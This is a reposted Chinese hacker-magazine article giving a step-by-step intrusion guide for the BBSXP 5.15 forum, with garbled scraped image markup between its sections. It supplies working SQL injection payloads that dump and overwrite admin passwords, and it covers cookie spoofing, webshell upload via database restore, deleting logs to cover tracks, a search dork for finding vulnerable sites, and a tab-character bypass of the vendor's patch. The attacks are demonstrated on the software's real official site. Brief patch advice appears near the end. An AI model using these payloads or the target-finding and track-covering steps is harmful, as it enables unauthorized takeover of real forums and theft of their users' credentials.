bbsxp2008漏洞:BBSXP漏洞再探究

=tpc_content>文章作者:职业欠钱@[F.W.S.T]
信息来源:邪恶 8进制(www.eviloctal.com)

注:本文已发表在黑客X档案2005年6期版权归其所有转载请保持文章完整性并注明版权

最近BBSXP论坛可以说是点都不平静漏洞个接个暴出来上次对showforum.asp这个文件漏洞分析过后没多久又暴出blog.asp存在漏洞于是俺这个菜鸟心再不能平静了不要每次都等着人家给我们找漏洞咱自己也来分析把看看
首先我们回顾下showforum.asp中漏洞还记得order变量是经过了HTMLncode过滤了以后才放到SQL语句中去执行再来看看blog.asp中出漏洞地方:

id=HTMLEncode(Request("id"))
id<>"" then
sql="select * from [calendar] where id="&id&" order by id Desc"

id变量同样是经过了HTMLEncode过滤了以后就放到了SQL语句中去了利用思路方法是构造个特殊id变量使用UNION查询将密码暴出来

●小知识:UNION查询基本介绍●
使用UNION可以将多个查询结果合并起来时系统会自动去掉重复记录参加UNION操作各结果表列数必须相同;对应项数据类型也必须相同;
●select top 1 username,userpass from [user] union select 'test','12345' from [clubconfig]
●——这里加上了单引号是表示里面数据为为了和前面username和userpass类型对(在ACCESS中则没有这么严格要求数据类型不不会导致SQL语句出错)上在海洋2006数据库操作里执行结果如下(图1):
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/86adf28d-d4b7-4242-bc15-223682e50b5d.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/86adf28d-d4b7-4242-bc15-223682e50b5d.jpg" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
●●原理学习和分析●●
了解了union查询我们就可以构造这个id了如:●id=-1 union select 1,2,3,4,5,6,7 from [user] where membercode=5●
还原完整SQL语句是这样:
●select * from [calendar] where id=-1 union select 1,2,3,4,5,6,7 from [user] where membercode=5 order by id Desc●
此SQL前半部分会id=-1而什么也查不出来然后1~7这7个数字是calendar这个表中有7个字段那么大家可以看到如图结果(图2)
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/1a471534-effb-47ec-ba08-2546b83a0b0a.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/1a471534-effb-47ec-ba08-2546b83a0b0a.jpg" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
其中能显示出来数字(比如3和4)可以改为字段名username和userpass有membercode=5做条件所以可以将级别为社区区长用户名和密码查出来(图3)当然如果想查特定用户密码也是很容易把username作为限制条件就可以了不过要注意HTMLEncode过滤了单引号所以要用十 6进制转换把语句改为:
●id=-1 union select 1,2,userpass,4,5,6,7 from [user] where username=0xD3C3BBA7●
其中0xD3C3BBA7是“用户”十 6进制写法如果是数字和英文记得每需要用 4个字节来表示比如“1”要写成0x3100这和上次个不地方是上次我们用了DECLARE @cmd sysname并且将空格转换为了“+”号后来实战后发现是没有必要所以特别提出
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/bda194cc-9f80-4aef-910c-9dbacef1f9eb.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/bda194cc-9f80-4aef-910c-9dbacef1f9eb.jpg" width=564 _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
不过上面讲利用思路方法是只针对ACCESS版这样union查询在MSSQL中是会出错为什么呢?在查询分析器里实验时候我们发现尽管语法都是但是MSSQL版BBSXP中[calendar]这张表中content字段类型是TEXT类型用来存放日志内容而且text、ntext或image数据类型在查询时候是不允许使用DISTINCT方式查询(DISTINCT查询是指在查询时候要将重复记录删掉)而UNION查询又肯定是DISTINCT方式(上面介绍过了)所以我们不能直接像ACCESS版那样把密码给“暴”出来那么我们就没有办法了吗?当然不是也许有朋友会想起曾经我们介绍思路方法直接构造出多语句执行update修改自己级别和允许上传类型或者改后台密码我给个例子将id构造为:

id=-1 update [user] membercode=5 where username=0xD3C3BBA7
select * from [calendar] where id=-1

(后面这个select语句是为了配对原语句中order by)
递交后看结果(图4):
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/6554e48b-a704-4f80-8931-5f35adf783b9.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/6554e48b-a704-4f80-8931-5f35adf783b9.jpg" width=564 _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
为什么会这样呢?不是说MSSQL是支持多语句执行吗?为什么又说只能是单个select语句或存储过程呢?回头查看SQL语句可以保证没有问题在查询分析器里是正确执行了那问题肯定在ASP文件里了仔细对比两次内容后发现区别是这样:
ShowForum.asp中是这么执行SQL语句:
●Rs=Conn.Execute(sql)●
而blog.asp是这么写:
●rs.Open sql,Conn,1●
在安全焦点论坛上xiaolu告诉我问题就出在这上面rs.Open sql,Conn,1是不能修改记录(原理就不介绍了我自己都还晕忽着~)继续分析:
那是不是对SQL版就不能利用了呢?当然不是了我们可以将密码猜出来嘛HTMLEncode过滤掉了“<>”这两个用于比较ASCII码大小那么我们就不用它我们用
●between ... and ...●
●id=1 and exists(select * from clubconfig where sub(adminpassword,1,1) between 0x30 and 0x46)●
我们知道BBSXP后台密码是MD5密文而且字母都是大写所以密码位只可能是0-9和A-F的间将它们ASCII码转换为十 6进制:0x30-0x39和0x41-0x46的间(这里用UltraEdit自带ASCII对照表查)然后使用经典ASCII折半分析法(经常使用NBSI朋友可能很眼熟吧呵呵)首先我们猜看第位是否0x30到0x39的间(数字0-9)如果是会出现id为1日志否则提示没有这个日志然后直猜到between 0x35 and 0x35的类结果(and前后数字相同为止0x35就是数字5了)再猜sub(adminipassword,2,1)也就是密码第 2位当然这是很机械工作猜实在是个体力活还是小z体贴大家将工具做了出来
ACCESS版:
在最上面那个“目标主机”处填入论坛地址不要填完整比如http://bbsxp.com/bbs/被填成了http://bbsxp.com/bbs/blog.asp反而会失败然后在下拉菜单中选择是要获取对方管理员名和密码还是要对方后台密码点发送就OK了(图5)这里有个“使用usertop.asp暴”下文会介绍
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/0e9b5697-c919-495a-88f8-9db46c3ac404.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/0e9b5697-c919-495a-88f8-9db46c3ac404.jpg" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
SQL版:
速度就没ACCESS版那么快了猜(周杰伦:我要位往下猜~)这次要在“有关SQLblog.asp”中目标主机里填URL了而且这次要求填完整比如http://www.cnsuv.cn/blog.asp?id=1这个地址必须是你输入它时候能看到有日志如果没有日志请自己注册个ID发日志(图6)这次我们没有把获取用户名功能加进来大家可以自己输入http://bbs.yuzi.net/adminlist.asp到管理团队(Team)找级别为社区区长用户名(比如这里是yuzi)将其填入“用户名”处点发送就可以了(图7、图8)
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/d7a52b52-4e92-4238-9b3e-bf5faa62f371.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/d7a52b52-4e92-4238-9b3e-bf5faa62f371.jpg" width=564 _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/56153d4e-381c-43e2-8640-efb929dba4bf.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/56153d4e-381c-43e2-8640-efb929dba4bf.jpg" width=564 _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/ab3e40d0-27ef-41be-806e-90cd7b0900f7.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/ab3e40d0-27ef-41be-806e-90cd7b0900f7.jpg" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
好了拿到了人家密码了我们可以Cookie欺骗做下社区区长了思路方法如下:使用桂林老兵工具在地址栏里输入URL随便注册个号登陆进去会看到Cookie栏里有username和userpass字段吧在这个后面跟着就是你用户名和密码了当然是加了密接下来下“自定义cookie”(就是那个有个鼠标按钮)cookie项就变成可修改将username和userpass改为你得到数据敲两下回车刷新看看我们是社区区长了吧嘿嘿~(图9、图10)
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/e3832234-ea6c-411f-a424-b942922780e4.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/e3832234-ea6c-411f-a424-b942922780e4.jpg" width=564 _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/65a7eeca-f3fb-4074-9100-eab1839abed8.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/65a7eeca-f3fb-4074-9100-eab1839abed8.jpg" width=564 _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
什么?你还不满意?只能做个社区区长没意思?有你够贪心啊!好不过在继续的前我们先来整理总结下BBSXP出漏洞规律:
BBSXP过滤并不少HTMLEncode过滤也算有点严格了可是只要没有被单引号起来我们还是很容易构造我们需要SQL语句(被单引号引起来了就全部变成串做查询条件了绕不开点和PHP下注射很像不是吗?)那么YUZI肯定还有别地方也是只用HTMLEncode过滤后就放到SQL语句里执行了!让我们去读读他代码还好BBSXP出了名小巧就几十个文件没两天就读完了可能是我太粗心了吧只在两个文件中发现了过滤不严地方:

usertop.asp :
order=HTMLEncode(Request("order"))
order="" then order="experience"
sql="select top 500 * from [user] order by "&order&" Desc "
rs.Open sql,Conn,1

和blog.asp如出经过HTMLEncode过滤直接放入SQL语句中且不在单引号范围里不过执行SQL语句方式:rs.Open sql,Conn,1而且又不在where条件中构造多语句执行update什么是没希望了所以对MSSQL版本人是不会利用了不过ACCESS版还是很容易老思路方法了union查询:

order=id desc union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,adminpassword,28,29,30,31,32,33 from clubconfig order by id

([user]表中有33个字段其中order by id是为了配对 Desc)
但是大家执行后可能会发现有点不愉快东西会有很多垃圾信息挡在前面我们要把自己查出来东西排在第位如何办呢?很简单数数[user]表中degree是登陆次数并且是在第17个字段那么我们把17这个字段改为99999然后把最后那个●order by id●改为●order by degree●哈哈没有人会登陆99999多次吧我们要查询信息排在了第在登录时间处显示就是后台密码了(图11)要查询社区区长用户名和密码或者特定用户密码思路方法和上面是类似就不罗嗦了反正zj1244也为大家做出工具了如果对方把blog.asp删掉了(谁让这个文件漏洞有动画教程出来了呢很多站长喜欢这么敷衍“打补丁”可是usertop.asp就不定咯~)我们将usertop.asp选中再暴就OK了
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/de86c70f-6717-4744-ab61-51658cd03ed8.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/de86c70f-6717-4744-ab61-51658cd03ed8.jpg" width=564 _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
然后再介绍个地方manage.asp:

在54行到57行内容是这样
54 "move"
55 Request("moveid")="" then error("您没有选择要将主题移动哪个论坛")
56 Conn.Execute("Select pass From [bbsconfig] where id="&Request("moveid")&"")(0)=4 then error("目标论坛为授权发帖状态")
57 conn.execute("update [forum] forumid="&Request("moveid")&",toptopic=0,goodtopic=0,locktopic=0 where id="&id&"")

大家注意看看这里moveid甚至是直接Request得来没有经过任何过滤就放进了Conn.Execute执行SQL语句中还客气什么直接update吧不过上次分析漏洞时候太武断了没有考虑到把后台密码改了以后管理员会进不去后台做人要厚道所以这次我们在改后台密码的前先把原先密码存到另个地方比如指定用户个人主页字段然后等进了后台传了ASP木马以后再将密码还原顺便还将自己注册那个ID删除将后台日志删除青春不留痕(小编:如何像洗面奶广告)讲得大家是不是心动了?不过这个漏洞利用是有限制它需要有至少斑竹以上权限才可以进去开头大家可以看到以下代码:
membercode > 3 then
……●
membercode要大于3就只有管理员和区长了或者你正好是那个版斑竹犯难了吧?X教育过我们学hack最重要是思路入侵要将多个漏洞结合起来看看上面blog.asp只能得到区长用户名和密码而这个漏洞又要区长身份难道大家不觉得这两个漏洞简直是天生对吗?首先cookie欺骗进了前台以后输入●http://bbs.yuzi.net/manage.asp?menu=move&id=435183&moveid=2
就可以将id为435183帖子移动到id为2版块这里解释menu=move是指操作为移动帖子id=435183是论坛存在个帖子moveid是个存在版块id(其实这里不需要也可以不过为了防止意外手工实验最好保留)(将鼠标悬停在任意版块上会看到forumid=x其中x就是版块ID同理将鼠标悬停在任意帖子上可以得到帖子id)其中moveid是我们可以控制
在manage.asp文件第56行只要该SQL语句执行结果位查询值不为4就执行57行事实上不管他查询结果是什么这句SQL语句都完整执行了我们期望动作所以尽管那个id变量进入57句时候会出错我们却根本不需要理它反而是只要看到出错行数是57我们就可以干杯庆祝了(介绍说明56行执行完毕了)举例介绍说明:

moveid=435183
update [user] userhome=(select adminpassword from clubconfig) where username=0xD3C3BBA7
update clubconfig adminpassword=(select userpass from [user] where username=0xD3C3BBA7)
完整句子就这个了还原为56行完整SQL语句是:
Select pass From [bbsconfig] where id=435183
update [user] userhome=(select adminpassword from clubconfig) where username=0xD3C3BBA7
update clubconfig adminpassword=(select userpass from [user] where username=0xD3C3BBA7)

首先将后台密码存入用户名为“用户”个人主页中然后将后台密码改为此用户当前密码方便我们入侵后擦PP提交后我们会看到XXX出错在manage.asp行57呵呵当然会出错了(阵坏笑中~^_^)
手工如何弄就不提了留给有兴趣朋友自己玩吧小z工具又出来溜圈先(图12)
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/af03e4b5-d5f5-42bc-a2ee-f00965615415.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/af03e4b5-d5f5-42bc-a2ee-f00965615415.jpg" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
在第 3个“目标主机”处填入URL: http://bbs.yuzi.net/manage.asp下拉菜单选择你希望进行操作(比如在这里将指定用户提为管理员)帖子id处填入任意存在id指定用户是你希望进行操作用户比如“职业欠钱”这样等会切操作对象就都是职业欠钱了比如提管理员就是将职业欠钱提为管理员降为小野人就是将职业欠钱降为小野人更改后台密码是将后台密码改为职业欠钱当前密码(注册时用密码)并且将后台密码存入职业欠钱个人主页中(图13、图14)
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/5e4f4885-88cb-4ba3-9587-a0f928bfc886.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/5e4f4885-88cb-4ba3-9587-a0f928bfc886.jpg" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/dd1446e7-3b92-4b10-9d38-ac677dd56d46.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/dd1446e7-3b92-4b10-9d38-ac677dd56d46.jpg" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
后面要填东西则比较重要还记得我们说过这个漏洞需要斑竹以上身份吧?这里填入yuzi和MD5散列密码(这个漏洞只针对SQL版了AC是不支持多语句执行)最后点发送(如果提示“可能成功咯”就恭喜了)当然如果你要自己写SQL语句也是可以不过要记得避开单引号哦~
我们拿BBSXP官方做实验看看先是使用“将用户提为管理员”功能将自己提为社区区长然后更改后台密码(这时候会将后台密码放入自己个人主页里在查看个人基本资料时可以看得到)于是就可以顺利进入后台了(图15)
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/b07dcf3b-a217-4370-84a5-08da96c086f0.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/b07dcf3b-a217-4370-84a5-08da96c086f0.jpg" width=564 _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
上次教了大家备份数据库后有些管理员就将那几个asp.dll映射删掉了这次教大家招新用恢复数据库功能同样我们不能直接在数据库路径里写入.asp而写asa或者其他又会失败(yuzi这台服务器做很NB会干脆返回404!)呵呵其实我们只需要将asp中任意个字母改为大写就可以了(asP和asp是不嘎嘎~~^_^)不过前提是我们得把我们马儿上传上去如果大家用那个经典mm.asp当作图片上传会惊喜发现yuzi和大家开了个玩笑他会告诉我们那不是正确图片所以我们可以改为zip后缀后上传或者你换个马儿上传BBSXP也认不出来(用mm.asp我加了GIF89a头也没成功回头得好好研究下yuzi是如何写上传部分)我传好了所以呢在恢复数据库备份数据库栏填入/images/upfile/2005-5/200558232956.jpg 在数据库路径里填入:shell.asP点恢复(图16)访问http://bbs.yuzi.net/shell.asp(图17)呵呵传说中BBSXP官方站今天在我们面前轰然倒下了这时候如何办?用海洋2006把整站打包下载回去好好研究没准BBSXP商业版就是BBSXP自己用款呢等等别忘了擦PP了这是个好习惯呵呵~
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/caf12db6-9d20-4776-8e60-004031a9c252.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/caf12db6-9d20-4776-8e60-004031a9c252.jpg" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/826d91d4-1128-41b5-b32a-21892a68ab0b.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/826d91d4-1128-41b5-b32a-21892a68ab0b.jpg" width=564 _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
在工具下拉菜单项选择“还原后台密码”这样就会从“职业欠钱”个人主页处将刚才保存密码还原回去然后再将自己还原为小野人使用“删除指定用户后台日志”将有关我们日志删掉神不知鬼不觉~你觉得有必要将整个用户删掉也可以选中“删除指定用户”点发送就可以了(图18)
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/b8fc258e-ffab-44a9-a7dc-95e0ff908f0a.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/b8fc258e-ffab-44a9-a7dc-95e0ff908f0a.jpg" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
●●实战练习●●
好了原理也分析完了工具也介绍好了我们再看看如何找网站WebSite练习吧!上百度或者google输入关键字:Powered by BBSxp 5.15 SQL/Licence(图19)就能找到大片论坛(本文全部是针对5.15版其他版本手头上没有源代码而没有分析)如果想找ACCESS版将关键字SQL去掉就行了
图19
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g');" src="http://www.crazycoder.cn/WebFiles/20099/939d2037-ccf3-47ad-b7ff-0e577c5dd62d.g" _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>
图片:
screen.width-461) window.open('http://www.crazycoder.cn/WebFiles/20099/5ada9901-b2dd-4f91-a1f0-0a5d91737aa8.jpg');" src="http://www.crazycoder.cn/WebFiles/20099/5ada9901-b2dd-4f91-a1f0-0a5d91737aa8.jpg" width=564 _disibledevent=>screen.width-460)this.width=screen.width-460" border=0>

漏洞修补:
1.blog.asp中id是数字型就别用HTMLEncode过滤改为id=c(Request("id"))
2.manage.asp中也是将moveid在使用前加上句moveid=c(Request("moveid"))
3.usertop.asp中不可能使用单引号将其引起来那么请考虑修改up.asp中HTMLEncode增加过滤其他关键字或者直接限制长度

其实现在最新BBSXP已经做了所谓“修补”了为什么说是所谓呢?有兴趣朋友们可以打开看blog.asp中id依然是使用HTMLEncode过滤manage.asp中moveid依然是没有经过任何过滤那么他是如何修补呢?仔细对比源码就知道了up.asp中yuzi对HTMLEncode增加了对空格过滤这样如果读者朋友按照上面SQL语句进行实验就会出错可是我们知道在SQL语句中个语句的见间隔符不只有空格而已回车或者制表符等都可以小z在工具里使用就是'\t'将前文语句中空格全部替换为%09(制表符ASC码为9)轻松搞定~!原先那个showforum.asp也是样哦~原理不再罗嗦了并且也补充整合到工具里了截至完稿时BBSXP还没有做出更新补丁~(原因很简单我还没来得及告诉yuzi啊哈哈~~)
●●写在文末●●
本人在测试这个漏洞时候发现由于前段时间BBSXP补丁动作比较慢结果网上阵血雨腥风不少论坛被挂上木马甚至有些论坛连数据都被删光了叫人看了心里好不伤感这些人心里是如何想实在是搞不明白把人家数据删光了对他有什么好处记得X以前曾经说过黑客技术是把双刃剑我们X读者要时刻提醒自己应该正确使用这把剑!



  • 篇文章: 动网7.0sp2sql版备份差异得到webshell

  • 篇文章: 高手进阶 巧改设置强化3389入侵
  • Tags:  bbsxp bbsxp漏洞注入 bbsxp漏洞 bbsxp2008漏洞

    延伸阅读

    最新评论

    发表评论